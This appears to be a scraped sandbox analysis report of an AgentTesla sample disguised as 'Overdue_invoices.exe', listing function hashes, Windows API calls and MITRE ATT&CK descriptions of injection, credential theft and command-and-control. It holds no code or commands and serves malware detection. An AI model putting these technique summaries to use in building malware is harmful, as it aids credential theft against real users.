Function 00ADBF50, Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00ADBFC6

Memory Dump Source

Source File: 00000000.00000002.230076133.0000000000AD0000.00000040.00000001.sdmp, Offset: 00AD0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e913d250501231dfea6441c205157bf3d02b851c9f4838fe4cf0b5ae7f0c5ddf
Instruction ID: 36b9f8663d4d808e189eb4e2d95a8a7939fde9b2067890a616eea1d219929c12
Opcode Fuzzy Hash: e913d250501231dfea6441c205157bf3d02b851c9f4838fe4cf0b5ae7f0c5ddf
Instruction Fuzzy Hash: B81197728002488FCF10DFA9C8447EEBBF5AF48324F24881AE519A7650C775A950CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD4D0, Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 00ADD53A

Memory Dump Source

Source File: 00000000.00000002.230076133.0000000000AD0000.00000040.00000001.sdmp, Offset: 00AD0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: e1406e125f17c9c0e527b4c2a1df0b7ebcf406817fcfda774458d571e7eb1833
Instruction ID: 7db1bef9c318716939a5e811cd04d2ff672f3c99cd66868c59b8dc346e725473
Opcode Fuzzy Hash: e1406e125f17c9c0e527b4c2a1df0b7ebcf406817fcfda774458d571e7eb1833
Instruction Fuzzy Hash: D3116D71D003098FCB10DFAAD4447EEBBF5AB88324F24891ED519A7350CB75A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD4D8, Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 00ADD53A

Memory Dump Source

Source File: 00000000.00000002.230076133.0000000000AD0000.00000040.00000001.sdmp, Offset: 00AD0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 82a6cca0aaeda8a8f9be186d7e340dc660c26a162bb44be1dba664b84d20a116
Instruction ID: 7e314e636fef0c706fa6682d5abad4a06d7dc3f9da81d3915de0259d07bbb21d
Opcode Fuzzy Hash: 82a6cca0aaeda8a8f9be186d7e340dc660c26a162bb44be1dba664b84d20a116
Instruction Fuzzy Hash: 65113A719002498BCB10DFAAD8447DEFBF4AB88328F24881AD519A7340DB75A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 009FD3DC, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.230033785.00000000009FD000.00000040.00000001.sdmp, Offset: 009FD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 012218a497af080e05c6b4664390e10f6450ee8780fac885f3d178905ab1ff7f
Instruction ID: d2a957a99906c42ddf635966105fed7b5cdae26f911ad2819c43f079f8168538
Opcode Fuzzy Hash: 012218a497af080e05c6b4664390e10f6450ee8780fac885f3d178905ab1ff7f
Instruction Fuzzy Hash: 16213A71504208DFDF04EF14D9C0B36BB6BFB94324F24C569EA094B296C33AE856D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 009FD3D7, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.230033785.00000000009FD000.00000040.00000001.sdmp, Offset: 009FD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db75533cb9b6fa6099b867bfc3a53cb548d3d4cf5ca75b8a66c096981064a356
Instruction ID: 502e0d83c1173d62267b6a601ddd1740400f7a74006b0d80f1875795a7a2babb
Opcode Fuzzy Hash: db75533cb9b6fa6099b867bfc3a53cb548d3d4cf5ca75b8a66c096981064a356
Instruction Fuzzy Hash: 7111E676404284DFCF01DF14D5C4B26BF72FB94324F24C6A9D9080B666C33AE85ACBA2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: Overdue_invoices.exe PID: 6020 Parent PID: 5328 Overdue_invoices.exeCOMMON

Executed Functions

Function 07EF8A38, Relevance: 1.9, APIs: 1, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.631004529.0000000007EF0000.00000040.00000001.sdmp, Offset: 07EF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4264f4044861948ad2b10aa3c3ad00dd05f5c326459f97c0d35681bc65c1ffe
Instruction ID: 6528fd890be569142bbc3f79bcde56a284a7cc173f3f54f073fb4c4e43d17b30
Opcode Fuzzy Hash: d4264f4044861948ad2b10aa3c3ad00dd05f5c326459f97c0d35681bc65c1ffe
Instruction Fuzzy Hash: D0F17EB0A0120ACFDB14DFA5C884B9DBBF2FF48308F549569E509AB695DB71E845CB40

Uniqueness

Uniqueness Score: -1.00%

Function 07EF4ED9, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,07EF4EB9,00000800), ref: 07EF4F4A

Memory Dump Source

Source File: 00000001.00000002.631004529.0000000007EF0000.00000040.00000001.sdmp, Offset: 07EF0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 455eb67d3ac4e11f0c3b363a61a819fcfd4412f5b3f3c6eedccebc8797bb91e7
Instruction ID: 85250853892edf1f668f6481f402f1bcf52d6ec7fdec209d0d8d5e75d0ec13c9
Opcode Fuzzy Hash: 455eb67d3ac4e11f0c3b363a61a819fcfd4412f5b3f3c6eedccebc8797bb91e7
Instruction Fuzzy Hash: B31156B6D002499FCB10DFAAD884BDEFBF4EB89324F10842AE519A7740C375A544CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07EF4024, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,07EF4EB9,00000800), ref: 07EF4F4A

Memory Dump Source

Source File: 00000001.00000002.631004529.0000000007EF0000.00000040.00000001.sdmp, Offset: 07EF0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 43f4d2ebf252a91eb4faa600b3afdd1ed2030b7df713a9781db4120f87189986
Instruction ID: 4e23fdb889316c747c3322211c0bfbdc5b30e278f3d2e38bcfdde37cb7212076
Opcode Fuzzy Hash: 43f4d2ebf252a91eb4faa600b3afdd1ed2030b7df713a9781db4120f87189986
Instruction Fuzzy Hash: 391130B69002498FCB10DFAAD844BDEFBF4AB89324F11842AE519A7640C375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07EF7D58, Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 07EF8875

Memory Dump Source

Source File: 00000001.00000002.631004529.0000000007EF0000.00000040.00000001.sdmp, Offset: 07EF0000, based on PE: false

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 643edb0c1419d42e96f04b4a97f7995b67ffe82034d09799907b11edec3bf588
Instruction ID: a3b5bf2f2478b48f8a4553e6874014ff04df4b74f01f6c7649101fb2670c1fca
Opcode Fuzzy Hash: 643edb0c1419d42e96f04b4a97f7995b67ffe82034d09799907b11edec3bf588
Instruction Fuzzy Hash: E41145B0D002488FCB10DF9AC448BDEBBF4EB48324F248429E519B7700C374A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07EF8818, Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 07EF8875

Memory Dump Source

Source File: 00000001.00000002.631004529.0000000007EF0000.00000040.00000001.sdmp, Offset: 07EF0000, based on PE: false

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 081147b1bcb6df6918b2ab904b0df6db3435cea6115e2886dd516f65f361369c
Instruction ID: c7a653de0b0648021b1c43c74bcada21df57aebd9358474e4e1af476a79d4e0d
Opcode Fuzzy Hash: 081147b1bcb6df6918b2ab904b0df6db3435cea6115e2886dd516f65f361369c
Instruction Fuzzy Hash: 601133B59002888FCB10DFAAD445BDEBBF4EB48324F24841AE558A7700C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report Overdue_invoices.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre